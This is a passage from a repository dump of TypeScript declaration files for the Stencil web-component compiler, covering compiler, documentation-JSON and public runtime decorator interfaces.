string;\n  header?: string;\n  language?: string;\n  level: 'error' | 'warn' | 'info' | 'log' | 'debug';\n  lineNumber?: number | undefined;\n  lines: PrintLine[];\n  messageText: string;\n  relFilePath?: string | undefined;\n  type: string;\n}\n\nexport interface CacheStorage {\n  get(key: string): Promise<any>;\n  set(key: string, value: any): Promise<void>;\n}\n\nexport interface WorkerOptions {\n  maxConcurrentWorkers?: number;\n  maxConcurrentTasksPerWorker?: number;\n  logger?: Logger;\n}\n\nexport interface RollupInterface {\n  rollup: {\n    (config: any): Promise<any>;\n  };\n  plugins: {\n    nodeResolve(opts: any): any;\n    replace(opts: any): any;\n    commonjs(opts: any): any;\n    json(): any;\n  };\n}\n\nexport interface ResolveModuleOptions {\n  manuallyResolve?: boolean;\n  packageJson?: boolean;\n}\n\nexport interface PrerenderStartOptions {\n  buildId?: string;\n  hydrateAppFilePath?: string;\n  componentGraph?: BuildResultsComponentGraph;\n  srcIndexHtmlPath?: string;\n}\n\nexport interface PrerenderResults {\n  buildId: string;\n  diagnostics: Diagnostic[];\n  urls: number;\n  duration: number;\n  average: number;\n}\n\n/**\n * Input for CSS optimization functions, including the input CSS\n * string and a few boolean options which turn on or off various\n * optimizations.\n */\nexport interface OptimizeCssInput {\n  input: string;\n  filePath?: string;\n  autoprefixer?: boolean | null | AutoprefixerOptions;\n  minify?: boolean;\n  sourceMap?: boolean;\n  resolveUrl?: (url: string) => Promise<string> | string;\n}\n\n/**\n * This is not a real interface describing the options which can\n * be passed to autoprefixer, for that see the docs, here:\n * https://github.com/postcss/autoprefixer#options\n *\n * Instead, this basically just serves as a label type to track\n * that arguments are being passed consistently.\n */\nexport type AutoprefixerOptions = Object;\n\n/**\n * Output from CSS optimization functions, wrapping up optimized\n * CSS and any diagnostics produced during optimization.\n */\nexport interface OptimizeCssOutput {\n  output: string;\n  diagnostics: Diagnostic[];\n}\n\nexport interface OptimizeJsInput {\n  input: string;\n  filePath?: string;\n  target?: 'es5' | 'latest';\n  pretty?: boolean;\n  sourceMap?: boolean;\n}\n\nexport interface OptimizeJsOutput {\n  output: string;\n  sourceMap: any;\n  diagnostics: Diagnostic[];\n}\n\nexport interface LazyRequire {\n  ensure(fromDir: string, moduleIds: string[]): Promise<Diagnostic[]>;\n  require(fromDir: string, moduleId: string): any;\n  getModulePath(fromDir: string, moduleId: string): string;\n}\n\n/**\n * @deprecated This interface is no longer used by Stencil\n * TODO(STENCIL-743): Remove this interface\n */\nexport interface FsWatcherItem {\n  close(): void;\n}\n\n/**\n * @deprecated This interface is no longer used by Stencil\n * TODO(STENCIL-743): Remove this interface\n */\nexport interface MakeDirectoryOptions {\n  /**\n   * Indicates whether parent folders should be created.\n   * @default false\n   */\n  recursive?: boolean;\n  /**\n   * A file mode. If a string is passed, it is parsed as an octal integer. If not specified\n   * @default 0o777.\n   */\n  mode?: number;\n}\n\n/**\n * @deprecated This interface is no longer used by Stencil\n * TODO(STENCIL-743): Remove this interface\n */\nexport interface FsStats {\n  isFile(): boolean;\n  isDirectory(): boolean;\n  isBlockDevice(): boolean;\n  isCharacterDevice(): boolean;\n  isSymbolicLink(): boolean;\n  isFIFO(): boolean;\n  isSocket(): boolean;\n  dev: number;\n  ino: number;\n  mode: number;\n  nlink: number;\n  uid: number;\n  gid: number;\n  rdev: number;\n  size: number;\n  blksize: number;\n  blocks: number;\n  atime: Date;\n  mtime: Date;\n  ctime: Date;\n  birthtime: Date;\n}\n\nexport interface Compiler {\n  build(): Promise<CompilerBuildResults>;\n  createWatcher(): Promise<CompilerWatcher>;\n  destroy(): Promise<void>;\n  sys: CompilerSystem;\n}\n\nexport interface CompilerWatcher extends BuildOnEvents {\n  start: () => Promise<WatcherCloseResults>;\n  close: () => Promise<WatcherCloseResults>;\n  request: (data: CompilerRequest) => Promise<CompilerRequestResponse>;\n}\n\nexport interface CompilerRequest {\n  path?: string;\n}\n\nexport interface WatcherCloseResults {\n  exitCode: number;\n}\n\nexport interface CompilerRequestResponse {\n  path: string;\n  nodeModuleId: string;\n  nodeModuleVersion: string;\n  nodeResolvedPath: string;\n  cachePath: string;\n  cacheHit: boolean;\n  content: string;\n  status: number;\n}\n\n/**\n * Options for Stencil's string-to-string transpiler\n */\nexport interface TranspileOptions {\n  /**\n   * A component can be defined as a custom element by using `customelement`, or the\n   * component class can be exported by using `module`. Default is `customelement`.\n   */\n  componentExport?: 'customelement' | 'module' | string | undefined;\n  /**\n   * Sets how and if component metadata should be assigned on the compiled\n   * component output. The `compilerstatic` value will set the metadata to\n   * a static `COMPILER_META` getter on the component class. This option\n   * is useful for unit testing preprocessors. Default is `null`.\n   */\n  componentMetadata?: 'runtimestatic' | 'compilerstatic' | string | undefined;\n  /**\n   * The actual internal import path for any `@stencil/core` imports.\n   * Default is `@stencil/core/internal/client`.\n   */\n  coreImportPath?: string;\n  /**\n   * The current working directory. Default is `/`.\n   */\n  currentDirectory?: string;\n  /**\n   * The filename of the code being compiled. Default is `module.tsx`.\n   */\n  file?: string;\n  /**\n   * Module format to use for the compiled code output, which can be either `esm` or `cjs`.\n   * Default is `esm`.\n   */\n  module?: 'cjs' | 'esm' | string;\n  /**\n   * Sets how and if any properties, methods and events are proxied on the\n   * component class. The `defineproperty` value sets the getters and setters\n   * using Object.defineProperty. Default is `defineproperty`.\n   */\n  proxy?: 'defineproperty' | string | undefined;\n  /**\n   * How component styles should be associated to the component. The `static`\n   * setting will assign the styles as a static getter on the component class.\n   */\n  style?: 'static' | string | undefined;\n  /**\n   * How style data should be added for imports. For example, the `queryparams` value\n   * adds the component's tagname and encapsulation info as querystring parameter\n   * to the style's import, such as `style.css?tag=my-tag&encapsulation=shadow`. This\n   * style data can be used by bundlers to further optimize each component's css.\n   * Set to `null` to not include the querystring parameters. Default is `queryparams`.\n   */\n  styleImportData?: 'queryparams' | string | undefined;\n  /**\n   * The JavaScript source target TypeScript should to transpile to. Values can be\n   * `latest`, `esnext`, `es2017`, `es2015`, or `es5`. Defaults to `latest`.\n   */\n  target?: CompileTarget;\n  /**\n   * Create a source map. Using `inline` will inline the source map into the\n   * code, otherwise the source map will be in the returned `map` property.\n   * Default is `true`.\n   */\n  sourceMap?: boolean | 'inline';\n  /**\n   * Base directory to resolve non-relative module names. Same as the `baseUrl`\n   * TypeScript compiler option: https://www.typescriptlang.org/docs/handbook/module-resolution.html#path-mapping\n   */\n  baseUrl?: string;\n  /**\n   * List of path mapping entries for module names to locations relative to the `baseUrl`.\n   * Same as the `paths` TypeScript compiler option:\n   * https://www.typescriptlang.org/docs/handbook/module-resolution.html#path-mapping\n   */\n  paths?: { [key: string]: string[] };\n  /**\n   * JSX mode for TypeScript compilation. Can be 'react', 'react-jsx', 'react-jsxdev', etc.\n   * Same as the `jsx` TypeScript compiler option.\n   */\n  jsx?: number;\n  /**\n   * Module specifier for JSX factory. Used with automatic JSX runtime.\n   * Same as the `jsxImportSource` TypeScript compiler option.\n   */\n  jsxImportSource?: string;\n  /**\n   * Passed in Stencil Compiler System, otherwise falls back to the internal in-memory only system.\n   */\n  sys?: CompilerSystem;\n  /**\n   * This option enables the same behavior as {@link Config.transformAliasedImportPaths}, transforming paths aliased in\n   * `tsconfig.json` to relative paths.\n   */\n  transformAliasedImportPaths?: boolean;\n  /**\n   * List of tags to transform, by default only the incoming component tag is transformed\n   */\n  tagsToTransform?: string[];\n  /**\n   * Adds `transformTag` calls to css strings and querySelector(All) calls\n   */\n  additionalTagTransformers?: boolean;\n}\n\nexport type CompileTarget =\n  | 'latest'\n  | 'esnext'\n  | 'es2020'\n  | 'es2019'\n  | 'es2018'\n  | 'es2017'\n  | 'es2015'\n  | 'es5'\n  | string\n  | undefined;\n\nexport interface TranspileResults {\n  code: string;\n  data?: any[];\n  diagnostics: Diagnostic[];\n  imports?: { path: string }[];\n  inputFileExtension: string;\n  inputFilePath: string;\n  map: any;\n  outputFilePath: string;\n}\n\nexport interface TransformOptions {\n  coreImportPath: string;\n  componentExport: 'lazy' | 'module' | 'customelement' | null;\n  componentMetadata: 'runtimestatic' | 'compilerstatic' | null;\n  currentDirectory: string;\n  file?: string;\n  isolatedModules?: boolean;\n  module?: 'cjs' | 'esm';\n  proxy: 'defineproperty' | null;\n  style: 'static' | null;\n  styleImportData: 'queryparams' | null;\n  target?: string;\n}\n\nexport interface CompileScriptMinifyOptions {\n  target?: CompileTarget;\n  pretty?: boolean;\n}\n\nexport interface DevServer extends BuildEmitEvents {\n  address: string;\n  basePath: string;\n  browserUrl: string;\n  protocol: string;\n  port: number;\n  root: string;\n  close(): Promise<void>;\n}\n\nexport interface CliInitOptions {\n  args: string[];\n  logger: Logger;\n  sys: CompilerSystem;\n}\n"
  },
  {
    "path": "src/declarations/stencil-public-docs.ts",
    "content": "import {\n  ComponentCompilerEventComplexType,\n  ComponentCompilerMethodComplexType,\n  ComponentCompilerPropertyComplexType,\n  ComponentCompilerReferencedType,\n} from './stencil-private';\n\n/**\n * The Type Library holds information about the types which are used in a\n * Stencil project. During compilation, Stencil gathers information about the\n * types which form part of a component's public API, such as properties\n * decorated with `@Prop`, `@Event`, `@Watch`, etc. This type information is\n * then added to the Type Library, where it can be accessed later on for\n * generating documentation.\n *\n * This information is included in the file written by the `docs-json` output\n * target (see {@link JsonDocs.typeLibrary}).\n */\nexport type JsonDocsTypeLibrary = Record<string, ComponentCompilerReferencedType>;\n\n/**\n * A container for JSDoc metadata for a project\n */\nexport interface JsonDocs {\n  /**\n   * The metadata for the JSDocs for each component in a Stencil project\n   */\n  components: JsonDocsComponent[];\n  /**\n   * The timestamp at which the metadata was generated, in the format YYYY-MM-DDThh:mm:ss\n   */\n  timestamp: string;\n  compiler: {\n    /**\n     * The name of the compiler that generated the metadata\n     */\n    name: string;\n    /**\n     * The version of the Stencil compiler that generated the metadata\n     */\n    version: string;\n    /**\n     * The version of TypeScript that was used to generate the metadata\n     */\n    typescriptVersion: string;\n  };\n  typeLibrary: JsonDocsTypeLibrary;\n}\n\n/**\n * Container for JSDoc metadata for a single Stencil component\n */\nexport interface JsonDocsComponent {\n  /**\n   * The directory containing the Stencil component, minus the file name.\n   *\n   * @example /workspaces/stencil-project/src/components/my-component\n   */\n  dirPath?: string;\n  /**\n   * The name of the file containing the Stencil component, with no path\n   *\n   * @example my-component.tsx\n   */\n  fileName?: string;\n  /**\n   * The full path of the file containing the Stencil component\n   *\n   * @example /workspaces/stencil-project/src/components/my-component/my-component.tsx\n   */\n  filePath?: string;\n  /**\n   * The path to the component's `readme.md` file, including the filename\n   *\n   * @example /workspaces/stencil-project/src/components/my-component/readme.md\n   */\n  readmePath?: string;\n  /**\n   * The path to the component's `usage` directory\n   *\n   * @example /workspaces/stencil-project/src/components/my-component/usage/\n   */\n  usagesDir?: string;\n  /**\n   * The encapsulation strategy for a component\n   */\n  encapsulation: 'shadow' | 'scoped' | 'none';\n  /**\n   * The tag name for the component, for use in HTML\n   */\n  tag: string;\n  /**\n   * The contents of a component's `readme.md` that are user generated.\n   *\n   * Auto-generated contents are not stored in this reference.\n   */\n  readme: string;\n  /**\n   * The description of a Stencil component, found in the JSDoc that sits above the component's declaration\n   */\n  docs: string;\n  /**\n   * JSDoc tags found in the JSDoc comment written atop a component's declaration\n   */\n  docsTags: JsonDocsTag[];\n  /**\n   * The text from the class-level JSDoc for a Stencil component, if present.\n   */\n  overview?: string;\n  /**\n   * A mapping of usage example file names to their contents for the component.\n   */\n  usage: JsonDocsUsage;\n  /**\n   * Array of metadata for a component's `@Prop`s\n   */\n  props: JsonDocsProp[];\n  /**\n   * Array of metadata for a component's `@Method`s\n   */\n  methods: JsonDocsMethod[];\n  /**\n   * Array of metadata for a component's `@Event`s\n   */\n  events: JsonDocsEvent[];\n  /**\n   * Array of metadata for a component's `@Listen` handlers\n   */\n  listeners: JsonDocsListener[];\n  /**\n   * Array of metadata for a component's CSS styling information\n   */\n  styles: JsonDocsStyle[];\n  /**\n   * Array of component Slot information, generated from `@slot` tags\n   */\n  slots: JsonDocsSlot[];\n  /**\n   * Array of component Parts information, generate from `@part` tags\n   */\n  parts: JsonDocsPart[];\n  /**\n   * Array of custom states defined via @AttachInternals({ states: {...} })\n   */\n  customStates: JsonDocsCustomState[];\n  /**\n   * Array of metadata describing where the current component is used\n   */\n  dependents: string[];\n  /**\n   * Array of metadata listing the components which are used in current component\n   */\n  dependencies: string[];\n  /**\n   * Describes a tree of components coupling\n   */\n  dependencyGraph: JsonDocsDependencyGraph;\n  /**\n   * A deprecation reason/description found following a `@deprecated` tag\n   */\n  deprecation?: string;\n}\n\nexport interface JsonDocsDependencyGraph {\n  [tagName: string]: string[];\n}\n\n/**\n * A descriptor for a single JSDoc tag found in a block comment\n */\nexport interface JsonDocsTag {\n  /**\n   * The tag name (immediately following the '@')\n   */\n  name: string;\n  /**\n   * The description that immediately follows the tag name\n   */\n  text?: string;\n}\n\nexport interface JsonDocsValue {\n  value?: string;\n  type: string;\n}\n\n/**\n * A mapping of file names to their contents.\n *\n * This type is meant to be used when reading one or more usage markdown files associated with a component. For the\n * given directory structure:\n * ```\n * src/components/my-component\n * ├── my-component.tsx\n * └── usage\n *     ├── bar.md\n *     └── foo.md\n * ```\n * an instance of this type would include the name of the markdown file, mapped to its contents:\n * ```ts\n * {\n *   'bar': STRING_CONTENTS_OF_BAR.MD\n *   'foo': STRING_CONTENTS_OF_FOO.MD\n * }\n * ```\n */\nexport interface JsonDocsUsage {\n  [key: string]: string;\n}\n\n/**\n * An intermediate representation of a `@Prop` decorated member's JSDoc\n */\nexport interface JsonDocsProp {\n  /**\n   * the name of the prop\n   */\n  name: string;\n  complexType?: ComponentCompilerPropertyComplexType;\n  /**\n   * the type of the prop, in terms of the TypeScript type system (as opposed to JavaScript's or HTML's)\n   */\n  type: string;\n  /**\n   * `true` if the prop was configured as \"mutable\" where it was declared, `false` otherwise\n   */\n  mutable: boolean;\n  /**\n   * The name of the attribute that is exposed to configure a compiled web component\n   */\n  attr?: string;\n  /**\n   * `true` if the prop was configured to \"reflect\" back to HTML where it (the prop) was declared, `false` otherwise\n   */\n  reflectToAttr: boolean;\n  /**\n   * the JSDoc description text associated with the prop\n   */\n  docs: string;\n  /**\n   * JSDoc tags associated with the prop\n   */\n  docsTags: JsonDocsTag[];\n  /**\n   * The default value of the prop\n   */\n  default?: string;\n  /**\n   * Deprecation text associated with the prop. This is the text that immediately follows a `@deprecated` tag\n   */\n  deprecation?: string;\n  values: JsonDocsValue[];\n  /**\n   * `true` if a component is declared with a '?', `false` otherwise\n   *\n   * @example\n   * ```tsx\n   * @Prop() componentProps?: any;\n   * ```\n   */\n  optional: boolean;\n  /**\n   * `true` if a component is declared with a '!', `false` otherwise\n   *\n   * @example\n   * ```tsx\n   * @Prop() componentProps!: any;\n   * ```\n   */\n  required: boolean;\n  /**\n   * `true` if the prop has a `get()`. `false` otherwise\n   */\n  getter: boolean;\n  /**\n   * `true` if the prop has a `set()`. `false` otherwise\n   */\n  setter: boolean;\n}\n\nexport interface JsonDocsMethod {\n  name: string;\n  docs: string;\n  docsTags: JsonDocsTag[];\n  deprecation?: string;\n  signature: string;\n  returns: JsonDocsMethodReturn;\n  parameters: JsonDocMethodParameter[];\n  complexType: ComponentCompilerMethodComplexType;\n}\n\nexport interface JsonDocsMethodReturn {\n  type: string;\n  docs: string;\n}\n\nexport interface JsonDocMethodParameter {\n  name: string;\n  type: string;\n  docs: string;\n}\n\nexport interface JsonDocsEvent {\n  event: string;\n  bubbles: boolean;\n  cancelable: boolean;\n  composed: boolean;\n  complexType: ComponentCompilerEventComplexType;\n  docs: string;\n  docsTags: JsonDocsTag[];\n  deprecation?: string;\n  detail: string;\n}\n\n/**\n * Type describing a CSS Style, as described by a JSDoc-style comment\n */\nexport interface JsonDocsStyle {\n  /**\n   * The name of the style\n   */\n  name: string;\n  /**\n   * The type/description associated with the style\n   */\n  docs: string;\n  /**\n   * The annotation used in the JSDoc of the style (e.g. `@prop`)\n   */\n  annotation: string;\n  /**\n   * The mode associated with the style\n   */\n  mode: string | undefined;\n}\n\nexport interface JsonDocsListener {\n  event: string;\n  target?: string;\n  capture: boolean;\n  passive: boolean;\n}\n\n/**\n * A descriptor for a slot\n *\n * Objects of this type are translated from the JSDoc tag, `@slot`\n */\nexport interface JsonDocsSlot {\n  /**\n   * The name of the slot. Defaults to an empty string for an unnamed slot.\n   */\n  name: string;\n  /**\n   * A textual description of the slot.\n   */\n  docs: string;\n}\n\n/**\n * A descriptor of a CSS Shadow Part\n *\n * Objects of this type are translated from the JSDoc tag, `@part`, or the 'part'\n * attribute on a component in TSX\n */\nexport interface JsonDocsPart {\n  /**\n   * The name of the Shadow part\n   */\n  name: string;\n  /**\n   * A textual description of the Shadow part.\n   */\n  docs: string;\n}\n\n/**\n * A descriptor for a Custom State defined via @AttachInternals({ states: {...} })\n *\n * Custom states are exposed via the ElementInternals.states CustomStateSet\n * and can be targeted with the CSS `:state()` pseudo-class.\n *\n * @see https://developer.mozilla.org/en-US/docs/Web/API/CustomStateSet\n */\nexport interface JsonDocsCustomState {\n  /**\n   * The name of the custom state (without dashes)\n   */\n  name: string;\n  /**\n   * The initial/default value of the state\n   */\n  initialValue: boolean;\n  /**\n   * A textual description of the custom state\n   */\n  docs: string;\n}\n\n/**\n * Represents a parsed block comment in a CSS, Sass, etc. file for a custom property.\n */\nexport interface StyleDoc {\n  /**\n   * The name of the CSS property\n   */\n  name: string;\n  /**\n   * The user-defined description of the CSS property\n   */\n  docs: string;\n  /**\n   * The JSDoc-style annotation (e.g. `@prop`) that was used in the block comment to detect the comment.\n   * Used to inform Stencil where the start of a new property's description starts (and where the previous description\n   * ends).\n   */\n  annotation: 'prop';\n  /**\n   * The Stencil style-mode that is associated with this property.\n   */\n  mode: string | undefined;\n}\n"
  },
  {
    "path": "src/declarations/stencil-public-runtime.ts",
    "content": "type CustomMethodDecorator<T> = (\n  target: object,\n  propertyKey: string | symbol,\n  descriptor: TypedPropertyDescriptor<T>,\n) => TypedPropertyDescriptor<T> | void;\n\ntype UnionToIntersection<U> = (U extends any ? (k: U) => void : never) extends (k: infer I) => void ? I : never;\n\ntype MixinInstance<F> = F extends (base: MixedInCtor) => MixedInCtor<infer I> ? I : never;\n\nexport interface ComponentDecorator {\n  (opts?: ComponentOptions): ClassDecorator;\n}\nexport interface ComponentOptions {\n  /**\n   * When set to `true` this component will be form-associated. See\n   * https://stenciljs.com/docs/next/form-associated documentation on how to\n   * build form-associated Stencil components that integrate into forms like\n   * native browser elements such as `<input>` and `<textarea>`.\n   *\n   * The {@link AttachInternals} decorator allows for access to the\n   * `ElementInternals` object to modify the associated form.\n   */\n  formAssociated?: boolean;\n  /**\n   * Tag name of the web component. Ideally, the tag name must be globally unique,\n   * so it's recommended to choose an unique prefix for all your components within the same collection.\n   *\n   * In addition, tag name must contain a '-'\n   */\n  tag: string;\n\n  /**\n   * If `true`, the component will use scoped stylesheets. Similar to shadow-dom,\n   * but without native isolation. Defaults to `false`.\n   */\n  scoped?: boolean;\n\n  /**\n   * If `true`, the component will use native shadow-dom encapsulation, it will fallback to\n   * `scoped` if the browser does not support shadow-dom natively. Defaults to `false`.\n   * Additionally, `shadow` can also be given options when attaching the shadow root.\n   */\n  shadow?: boolean | ShadowRootOptions;\n\n  /**\n   * Relative URL to some external stylesheet file. It should be a `.css` file unless some\n   * external plugin is installed like `@stencil/sass`.\n   */\n  styleUrl?: string;\n\n  /**\n   * Similar as `styleUrl` but allows to specify different stylesheets for different modes.\n   */\n  styleUrls?: string[] | ModeStyles;\n\n  /**\n   * String that contains inlined CSS instead of using an external stylesheet.\n   * The performance characteristics of this feature are the same as using an external stylesheet.\n   *\n   * Notice, you can't use sass, or less, only `css` is allowed using `styles`, use `styleUrl` is you need more advanced features.\n   */\n  styles?: string | { [modeName: string]: any };\n\n  /**\n   * Array of relative links to folders of assets required by the component.\n   */\n  assetsDirs?: string[];\n}\n\nexport interface ShadowRootOptions {\n  /**\n   * When set to `true`, specifies behavior that mitigates custom element issues\n   * around focusability. When a non-focusable part of the shadow DOM is clicked, the first\n   * focusable part is given focus, and the shadow host is given any available `:focus` styling.\n   */\n  delegatesFocus?: boolean;\n  /**\n   * Sets the slot assignment mode for the shadow root. When set to `'manual'`, enables imperative\n   * slotting using the `HTMLSlotElement.assign()` method. Defaults to `'named'` for standard\n   * declarative slotting behavior.\n   */\n  slotAssignment?: 'manual' | 'named';\n}\n\nexport interface ModeStyles {\n  [modeName: string]: string | string[];\n}\n\nexport interface PropDecorator {\n  (opts?: PropOptions): PropertyDecorator;\n}\nexport interface PropOptions {\n  /**\n   * The name of the associated DOM attribute.\n   * Stencil uses different heuristics to determine the default name of the attribute,\n   * but using this property, you can override the default behavior.\n   */\n  attribute?: string | null;\n\n  /**\n   * A Prop is _by default_ immutable from inside the component logic.\n   * Once a value is set by a user, the component cannot update it internally.\n   * However, it's possible to explicitly allow a Prop to be mutated from inside the component,\n   * by setting this `mutable` option to `true`.\n   */\n  mutable?: boolean;\n\n  /**\n   * In some cases it may be useful to keep a Prop in sync with an attribute.\n   * In this case you can set the `reflect` option to `true`, since it defaults to `false`:\n   */\n  reflect?: boolean;\n}\n\nexport interface MethodDecorator {\n  (opts?: MethodOptions): CustomMethodDecorator<any>;\n}\nexport interface MethodOptions {}\n\nexport interface ElementDecorator {\n  (): PropertyDecorator;\n}\n\nexport interface EventDecorator {\n  (opts?: EventOptions): PropertyDecorator;\n}\nexport interface EventOptions {\n  /**\n   * A string custom event name to override the default.\n   */\n  eventName?: string;\n  /**\n   * A Boolean indicating whether the event bubbles up through the DOM or not.\n   */\n  bubbles?: boolean;\n\n  /**\n   * A Boolean indicating whether the event is cancelable.\n   */\n  cancelable?: boolean;\n\n  /**\n   * A Boolean value indicating whether or not the event can bubble across the boundary between the shadow DOM and the regular DOM.\n   */\n  composed?: boolean;\n}\n\nexport interface AttachInternalsOptions {\n  /**\n   * Initial custom states to set on the ElementInternals.states CustomStateSet.\n   * Each key is the state name and the value is the initial boolean state.\n   *\n   * These states can be targeted with the CSS `:state()` pseudo-class.\n   *\n   * @example\n   * ```tsx\n   * @AttachInternals({ states: { open: true, active: false } })\n   * internals: ElementInternals;\n   * ```\n   *\n   * @see https://developer.mozilla.org/en-US/docs/Web/API/CustomStateSet\n   */\n  states?: { [stateName: string]: boolean };\n}\n\nexport interface AttachInternalsDecorator {\n  (opts?: AttachInternalsOptions): PropertyDecorator;\n}\n\nexport interface ListenDecorator {\n  (eventName: string, opts?: ListenOptions): CustomMethodDecorator<any>;\n}\n\nexport interface ResolveVarFunction {\n  <T>(variable: T): string;\n}\nexport interface ListenOptions {\n  /**\n   * Handlers can also be registered for an event other than the host itself.\n   * The `target` option can be used to change where the event listener is attached,\n   * this is useful for listening to application-wide events.\n   */\n  target?: ListenTargetOptions;\n\n  /**\n   * Event listener attached with `@Listen` does not \"capture\" by default,\n   * When a event listener is set to \"capture\", means the event will be dispatched\n   * during the \"capture phase\". Please see\n   * https://www.quirksmode.org/js/events_order.html for further information.\n   */\n  capture?: boolean;\n\n  /**\n   * By default, Stencil uses several heuristics to determine if\n   * it must attach a `passive` event listener or not.\n   *\n   * Using the `passive` option can be used to change the default behavior.\n   * Please see https://developers.google.com/web/updates/2016/06/passive-event-listeners for further information.\n   */\n  passive?: boolean;\n}\n\nexport type ListenTargetOptions = 'body' | 'document' | 'window';\n\nexport interface StateDecorator {\n  (): PropertyDecorator;\n}\n\nexport interface WatchDecorator {\n  (\n    propName: any,\n    watchOptions?: {\n      immediate?: boolean;\n    },\n  ): CustomMethodDecorator<(newValue?: any, oldValue?: any, propName?: any, ...args: any[]) => any | void>;\n}\n\nexport interface PropSerializeDecorator {\n  (propName: any): CustomMethodDecorator<(newValue?: any, propName?: string, ...args: any[]) => string | null>;\n}\n\nexport interface AttrDeserializeDecorator {\n  (propName: any): CustomMethodDecorator<(newValue?: any, propName?: string, ...args: any[]) => any>;\n}\n\nexport interface UserBuildConditionals {\n  isDev: boolean;\n  isBrowser: boolean;\n  isServer: boolean;\n  isTesting: boolean;\n}\n\n/**\n * The `Build` object provides many build conditionals that can be used to\n * include or exclude code depending on the build.\n */\nexport declare const Build: UserBuildConditionals;\n\n/**\n * The `Env` object provides access to the \"env\" object declared in the project's `stencil.config.ts`.\n */\nexport declare const Env: { [prop: string]: string | undefined };\n\n/**\n * The `@Component()` decorator is used to provide metadata about the component class.\n * https://stenciljs.com/docs/component\n */\nexport declare const Component: ComponentDecorator;\n\n/**\n * The `@Element()` decorator is a reference to the actual host element\n * once it has rendered.\n */\nexport declare const Element: ElementDecorator;\n\n/**\n * Components can emit data and events using the Event Emitter decorator.\n * To dispatch Custom DOM events for other components to handle, use the\n * `@Event()` decorator. The Event decorator also makes it easier for Stencil\n * to automatically build types and documentation for the event data.\n * https://stenciljs.com/docs/events\n */\nexport declare const Event: EventDecorator;\n\n/**\n * If the `formAssociated` option is set in options passed to the\n * `@Component()` decorator then this decorator may be used to get access to the\n * `ElementInternals` instance associated with the component.\n */\nexport declare const AttachInternals: AttachInternalsDecorator;\n\n/**\n * The `Listen()` decorator is for listening DOM events, including the ones\n * dispatched from `@Events()`.\n * https://stenciljs.com/docs/events#listen-decorator\n */\nexport declare const Listen: ListenDecorator;\n\n/**\n * The `resolveVar()` function is a compile-time utility that resolves const variables\n * and object properties to their string literal values. This allows variables to be\n * used in `@Listen` and `@Event` decorators instead of hardcoded strings.\n *\n * @example\n * ```ts\n * const MY_EVENT = 'myEvent';\n * @Listen(resolveVar(MY_EVENT))\n * ```\n *\n * @example\n * ```ts\n * const EVENTS = { MY_EVENT: 'myEvent' } as const;\n * @Event({ eventName: resolveVar(EVENTS.MY_EVENT) })\n * ```\n */\nexport declare const resolveVar: ResolveVarFunction;\n\n/**\n * The `@Method()` decorator is used to expose methods on the public API.\n * Class methods decorated with the @Method() decorator can be called directly\n * from the element, meaning they are intended to be callable from the outside.\n * https://stenciljs.com/docs/methods\n */\nexport declare const Method: MethodDecorator;\n\n/**\n * Props are custom attribute/properties exposed publicly on the element\n * that developers can provide values for. Children components do not need to\n * know about or reference parent components, so Props can be used to pass\n * data down from the parent to the child. Components need to explicitly\n * declare the Props they expect to receive using the `@Prop()` decorator.\n * Any value changes to a Prop will cause a re-render.\n * https://stenciljs.com/docs/properties\n */\nexport declare const Prop: PropDecorator;\n\n/**\n * The `@State()` decorator can be used to manage internal data for a component.\n * This means that a user cannot modify this data from outside the component,\n * but the component can modify it however it sees fit. Any value changes to a\n * `@State()` property will cause the components render function to be called again.\n * https://stenciljs.com/docs/state\n */\nexport declare const State: StateDecorator;\n\n/**\n * When a property's value has changed, a method decorated with `@Watch()` will be\n * called and passed the new value of the prop along with the old value. Watch is\n * useful for validating props or handling side effects. Watch decorator does not\n * fire when a component initially loads.\n * https://stenciljs.com/docs/reactive-data#watch-decorator\n */\nexport declare const Watch: WatchDecorator;\n\n/**\n * Decorator to serialize a property to an attribute string.\n */\nexport declare const PropSerialize: PropSerializeDecorator;\n\n/**\n * Decorator to deserialize an attribute string to a property.\n */\nexport declare const AttrDeserialize: AttrDeserializeDecorator;\n\nexport type ResolutionHandler = (elm: HTMLElement) => string | undefined | null;\n\nexport type ErrorHandler = (err: any, element?: HTMLElement) => void;\n\n/**\n * `setMode()` is used for libraries which provide multiple \"modes\" for styles.\n */\nexport declare const setMode: (handler: ResolutionHandler) => void;\n\n/**\n * `getMode()` is used for libraries which provide multiple \"modes\" for styles.\n * @param ref a reference to the node to get styles for\n * @returns the current mode or undefined, if not found\n */\nexport declare function getMode<T = string | undefined>(ref: any): T;\n\nexport declare function setPlatformHelpers(helpers: {\n  jmp?: (c: any) => any;\n  raf?: (c: any) => number;\n  ael?: (el: any, eventName: string, listener: any, options: any) => void;\n  rel?: (el: any, eventName: string, listener: any, options: any) => void;\n  ce?: (eventName: string, opts?: any) => any;\n}): void;\n\n/**\n * Get the base path to where the assets can be found. Use `setAssetPath(path)`\n * if the path needs to be customized.\n * @param path the path to use in calculating the asset path. this value will be\n * used in conjunction with the base asset path\n * @returns the base path\n */\nexport declare function getAssetPath(path: string): string;\n\n/**\n * Method to render a virtual DOM tree to a container element.\n *\n * @example\n * ```tsx\n * import { render } from '@stencil/core';\n *\n * const vnode = (\n *   <div>\n *     <h1>Hello, world!</h1>\n *   </div>\n * );\n * render(vnode, document.body);\n * ```\n *\n * @param vnode - The virtual DOM tree to render\n * @param container - The container element to render the virtual DOM tree to\n */\nexport declare function render(vnode: VNode, container: Element): void;\n\n/**\n * Used to manually set the base path where assets can be found. For lazy-loaded\n * builds the asset path is automatically set and assets copied to the correct\n * build directory. However, for custom elements builds, the `setAssetPath(path)` could\n * be used to customize the asset path depending on how the script file is consumed.\n * If the script is used as \"module\", it's recommended to use \"import.meta.url\", such\n * as `setAssetPath(import.meta.url)`. Other options include\n * `setAssetPath(document.currentScript.src)`, or using a bundler's replace plugin to\n * dynamically set the path at build time, such as `setAssetPath(process.env.ASSET_PATH)`.\n * But do note that this configuration depends on how your script is bundled, or lack of\n * bundling, and where your assets can be loaded from. Additionally custom bundling\n * will have to ensure the static assets are copied to its build directory.\n * @param path the asset path to set\n * @returns the set path\n */\nexport declare function setAssetPath(path: string): string;\n\n/**\n * Used to specify a nonce value that corresponds with an application's\n * [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP).\n * When set, the nonce will be added to all dynamically created script and style tags at runtime.\n * Alternatively, the nonce value can be set on a `meta` tag in the DOM head\n * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) and will result in the same behavior.\n * @param nonce The value to be used for the nonce attribute.\n */\nexport declare function setNonce(nonce: string): void;\n\n/**\n * Retrieve a Stencil element for a given reference\n * @param ref the ref to get the Stencil 